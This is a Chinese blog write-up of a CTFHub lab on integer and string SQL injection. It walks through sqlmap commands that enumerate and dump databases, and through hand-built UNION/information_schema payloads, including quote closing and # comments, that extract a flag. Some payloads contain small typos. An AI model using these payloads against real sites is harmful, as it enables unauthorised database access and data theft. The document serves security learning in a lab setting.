CTFHUB - SQL注入-整数型和字符型注入

本文详细介绍了SQL注入的概念,包括数字型和字符型注入的原理与实战。通过使用工具sqlmap以及手工注入的方式,展示了如何探测注入点、爆破数据库、表名和字段,最终获取敏感信息。同时,提供了手工注入的步骤和技巧,如利用UNION查询和错误注入来获取数据库信息。
摘要由CSDN通过智能技术生成

目录

一.前言

二.使用工具

三.知识点

四.整数型注入

1. sqlmap工具注入

2.手工注入

知识点

步骤

复现

五.字符型注入

复现

1.手工注入

2.sqlmap注入


一.前言

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

在学习SQL注入时要了解一些MYSQL语 mysql基础学习 在URL上可以进行sql注入

可将SQL注入方式大致分为两类:数字型注入、字符型注入.

我使用 sqlmap 都是在kali中终端使用 sqlmap windows 和kali 的语法不要一样

二.使用工具

kali中自带的sqlmap

URL中的sql注入

三.知识点

库 database

表 tables

字段 columns

sqlmap注入代码:

查询注入:sqlmap -u “URL”

爆破出库名和库中的表:sqlmap -u "URL" --tables  (有两个 --)

爆破库的表:sqlmap -u "URL" -D 库名 -tables    (只有一个-)

爆破表中的字段: sqlmap -u "URL" -D 库名 -T 表名 -columns

查询密码:sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 -dump

四.整数型注入

1. sqlmap工具注入

打开环境

发现让我们输入一个1试试看 我们进行输入

 在我们进行输入后发现 他显示了ID DATA(并且注意在URL上也输入了?id=1说明是GET型)

我们再进行输入2试试看

发现又进行了改变于是我们通过SQLMAP进行查询sql注入

查询代码为 sqlmap -u "URL"

发现id might be vulnerable 说明 存在注入

 执行完成发现爆出了很多信息

于是我们进行爆破库

sqlmap -u "URL" --tables

 发现把库爆破出来了 也发现了flag字段

所以我们爆破表 运用 sqlmap -u "URL" --D sqli --T flag -columns

爆破完成 我们现在需要的是让flag中的字段显示出来 于是我们可以运用

sqlmap -u "URL" -D sqli -T flag -C flag --dump 将里面的字段显示出来

得到flag 结束该题目

2.手工注入

知识点:

联合查询  union 当我们要sql注入在id后 可以用union将我们要执行的sql注入

schemata : 保存当前服务器里所有数据库的信息 库名
tables : 保存当前服务器里面所有数据表的信息 表名  table _name 数据表名
columns: 保存当前服务器里面所有字段信息 字段名字

要进行报错注入 就是 union前后互补影响 所以输入一个错误的信息 数据库就会回数据给你

所以我们可以输入?id=-1 union select 1,database()  因为数据库没有-1 所以返回select 1

步骤:

1.查看是否有注入点

1 and 1=1

1 and 1=2 如果报错 则有注入点

2.猜有多少个字段

1 order by 1

1 order by 2

3.爆出数据库名

?id=1 and 1=2 union select 1,database()

4.爆出数据库中表的名字

?id=1 and 1=2 union select 1 group_concat(table_name) from information_schema.tables where table_shema="数据库名"

5.从表名中爆破出列名

?id=1 and 1=2 union select 1 group_concat(column_name)from information_schema.columns where table_name="表名"

6.获取flag

?id=1 and 1=2 union select 1 group_concat (flag) from "sqli.flag"

复现:

判断注入点 ?id=1 and 1=1

 ?id=1 and 1=2

 报错 存在注入点 为 ?id=1 and 1=2

开始猜字段数

?id=1 order by 1

没有报错 ?id=1 order by 2

 没有报错 ?id=1 order by 3

报错 存在2个字段数

开始爆破数据库名字

?id=-1 union select 1,database()   为什么要设置为-1呢

因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容

 得到数据库名字

于是我们开始爆破表名 

?id=-1  union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)   limit 0,1(0,1从数据库地一个开始只拿一个字段)

 或者我们可以得到该数据库的所有字段

运用 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

得到字段flag

 于是我们进行爆破字段名

?id=-1 union select 1,group_concat(flag) from sqli.flag

到此 整数型注入 结束

五.字符型注入

字符型注入要考虑到 引号闭合 和 注释

复现

1.手工注入

 我们继续先输入1

 1 and 1=1 

 发现不行 为什么呢 我们仔细看下面的返回的代码

select * from news where id='1 and 1=1'

其中 我们想表达的id=1 变成了id='1 我们学计算机就发现 为什么只有一个单引号

于是我们输入 1' and 1=1 尝试一下

不报错了

于是我们尝试找注入点 1' and 1=2

存在注入点

于是我们接着爆破数据库名

-1' union select 1,database()

发现没有出现 报错了 为什么呢 我们看返回的代码

select * from news where id='-1' union select 1,database()'

注意最后面那个为什么会有一个‘在这出现呢 这就是为了防止sql注入而放置的

我们需要绕过这个 怎么绕过呢   我们需要#来把他注释掉

#+任何东西 在后台中都不执行 直接忽略

所以我们用# 注释掉‘

-1' union select 1,database() #

 出现了数据库sqli

爆破数据库中的表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

得到表名 

从表中得到flag

-1' union select 1,group_concat(flag) from sqli.flag #

 得到flag

2.sqlmap注入

复制URL

sqlmap -u "URL" --tables

出现数据库 并且发现flag

爆破表

sqlmap -u "URL" -D sqli -T flag -columns

 爆破出来了

然后得到结果即可

sqlmap -u "URL" -D sqli -T flag -C flag --dump

得到flag

到此 SQL注入的整数型和字符型结束

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值